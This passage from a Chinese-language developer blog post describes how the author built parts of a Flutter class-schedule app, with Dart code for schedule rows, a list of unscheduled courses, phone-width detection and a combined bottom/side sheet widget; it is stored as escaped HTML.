class=\"o\"\u003e=\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 决定长度,向后遍历,并且累加循环标志变量和长度\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e9\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003efirst\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"o\"\u003e++\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eaddAll\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\t\u003cspan class=\"n\"\u003econtroller\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epretendLayout\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eweekIndex\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e \u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e][\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003etoSet\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\t\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 不重复序列去掉 -1 元素\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eremove\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"m\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Generate the row.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eadd\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eclassCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eplaces\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eclassTableContentHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecount\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003econflict\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e));\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ethisRow\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e最后说明课程表高度的计算。页面高度在 800px 是个节点,小于 800 的话,直接乘以 0.85 ,来隐去九十节课;大于 800 的话,页面高度减去上面两层的高度。\n最后,我使用了 \u003ccode\u003eSingleChildScrollView\u003c/code\u003e 包裹整个课程表,让八列可以同时滚动,防止页面高度小于 800px 的情况。\u003c/p\u003e\n\u003ch5 id=\"课程详细信息\"\u003e课程详细信息\u003c/h5\u003e\n\u003cp\u003e代码在 \u003ccode\u003e_buttomInformation\u003c/code\u003e函数中,他接受那个冲突课程 Set 。根据这个 Set 提供的索引,输出对应课程的时间信息,和该课程安排在第几周生效。\u003c/p\u003e\n\u003cp\u003e(这块我是抄某个同学的,他还提醒我要写上课程序号啥的)\u003c/p\u003e\n\u003cp\u003e使用 \u003ccode\u003eshowDialog\u003c/code\u003e 函数弹出信息,弹出的是一个 Column 列,总共是这个时间段内的所有课程。\u003c/p\u003e\n\u003ch5 id=\"未安排课程信息\"\u003e未安排课程信息\u003c/h5\u003e\n\u003cp\u003e很简单地用新页面胡乱搓了个()代码很简单:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eNotArrangedClassList\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatelessWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eClassDetail\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eNotArrangedClassList\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003eScaffold\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eappBar:\u003c/span\u003e \u003cspan class=\"n\"\u003eAppBar\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;没有时间安排的科目\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebody:\u003c/span\u003e \u003cspan class=\"n\"\u003edataList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eList\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003egenerate\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eCard\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eListTile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ename\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003esubtitle:\u003c/span\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;编号: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e | \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003enumber\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"s2\"\u003e\u0026#34;老师: \u003c/span\u003e\u003cspan class=\"si\"\u003e${\u003c/span\u003e\u003cspan class=\"n\"\u003elist\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"n\"\u003eindex\u003c/span\u003e\u003cspan class=\"p\"\u003e].\u003c/span\u003e\u003cspan class=\"n\"\u003eteacher\u003c/span\u003e \u003cspan class=\"o\"\u003e??\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;没有数据\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003etoUse\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"横屏幕和竖屏幕\"\u003e横屏幕和竖屏幕\u003c/h3\u003e\n\u003cp\u003e我的程序做了一点平板的优化,主要是我为了学 Flutter 响应式开发而搞出的副产品。\u003c/p\u003e\n\u003ch4 id=\"如何在-flutter-侦测横屏幕竖屏幕\"\u003e如何在 Flutter 侦测横屏幕竖屏幕\u003c/h4\u003e\n\u003cp\u003eFlutter 本身有很多的属性部件,比如 Theme 用来访问主题属性,Navigator 访问路由栈之类。这里我使用的是 MediaQuery.of(context).size,这是用来侦测当前页面长宽高状态的。实际上,上面我提到的很多高度检测啥的,都是用这个实现的。\u003c/p\u003e\n\u003cp\u003e而侦测屏幕位置,有两个思路:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e长宽比,长大于宽就是横着,否则就是竖着。\u003c/li\u003e\n\u003cli\u003e之前我看到一篇文章说宽度 480 是个坎,小于算竖着。\n我这里使用了后者的想法,前面的想法我就不写了:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e480\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e顺便说一句 LayoutBuilder, 是用来给部件加约束的组件,具体看官方指南吧。\u003c/p\u003e\n\u003ch4 id=\"我的-bothsideview\"\u003e我的 BothSideView\u003c/h4\u003e\n\u003cp\u003e先给大家看看这玩意到底是个啥东西:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\u003cfigure\u003e\n\t\u003ca href=\"https://legacy.superbart.xyz/picture/xdyou/both.side.sheet.gif\"\u003e\n\t\t\u003cimg src=\"https://legacy.superbart.xyz/picture/xdyou/both.side.sheet.gif\" loading=\"lazy\"/\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e如你所见,在竖屏的时候,他是从底往上呼出的,跟 \u003ca class=\"link\" href=\"https://m3.material.io/components/bottom-sheets/guidelines\" target=\"_blank\" rel=\"noopener\"\u003eBottomSheet\u003c/a\u003e 一样;在横屏的时候,他是从右向左呼出的,和 \u003ca class=\"link\" href=\"https://m3.material.io/components/side-sheets/overview\" target=\"_blank\" rel=\"noopener\"\u003eSideSheet\u003c/a\u003e 一样。\u003c/p\u003e\n\u003cp\u003eFlutter 的 Material 框架本身没有实现 SideSheet ,而对于横屏来说,BottomSheet 是十分浪费屏幕,而且不太好看,从左面呼出是更合适的。得亏有很多的大佬,自行实现了 SideSheet 插件,我可以直接拿来使用他们的概念,但我想把这两个结合在一起。\u003c/p\u003e\n\u003cp\u003e而为啥要将这两个东西合在一起呢?这就涉及到实际使用中,我们是如何呼出 BottomSheet 了。\u003c/p\u003e\n\u003cp\u003e呼出 BottomSheet 和呼出 Dialog 一样,是使用了一个函数,在这里,叫 \u003ccode\u003eshowBottomSheet\u003c/code\u003e。这玩意有个问题,他本质上是往路由栈里面压入一个 BottomSheet 页面栈,也就是说,无论横屏幕还是竖屏幕,他永远是 BottomSheet,而不会变化一点。我一开始用了 SideSheet,结果发现横屏开了 SideSheet,竖屏过来了还是 SideSheet,他们之间不会互相转化。\u003c/p\u003e\n\u003cp\u003e那我就缝合吧,SideSheet 好办,抄过来先辈的代码就好了,顺便我抄过来使用 \u003ccode\u003eshowGeneralDialog\u003c/code\u003e 来显示弹窗了。但是 BottomSheet 本身并没有任何代码资料,我只能自己写了。我使用了 StatefulWidget 来保存 heightForVertical 变量,这是个高度变量,默认为页面高度的 80% 。然后我使用了一个 GestureDetector ,手势侦测器。这个侦测器在拖拽最上面的小横杠时候进行当前高度检测,然后更新高度。这里我将收起的高度定为页面高度的 40% 。\u003c/p\u003e\n\u003cp\u003e这里我说明一下 BottomSheet 和 SideSheet 的特点,他们都可以分成两个部分,上面的和下面的。下面的是传参传进来的部件,上面的就是属于部件的东西了。\u003c/p\u003e\n\u003cp\u003e最后再说一句,原来的 SideSheet 的最上面是使用 \u003ccode\u003eAppBar\u003c/code\u003e 实现的,但是 AppBar 会侦测手机的状态栏,最终导致在某些情况下,上面的高度过高。我被迫自行实现了这里,搞得很难看。\u003c/p\u003e\n\u003cp\u003e现在我贴出来代码,欢迎改善完发个包:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:flutter/material.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:watermeter/page/widget.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eBothSideSheet\u003c/span\u003e \u003cspan class=\"kd\"\u003eextends\u003c/span\u003e \u003cspan class=\"n\"\u003eStatefulWidget\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e/// child 是子部件,title 是标题,用于 SideSheet\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003efinal\u003c/span\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eBothSideSheet\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ekey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003echild\u003c/span\u003e\u003cspan 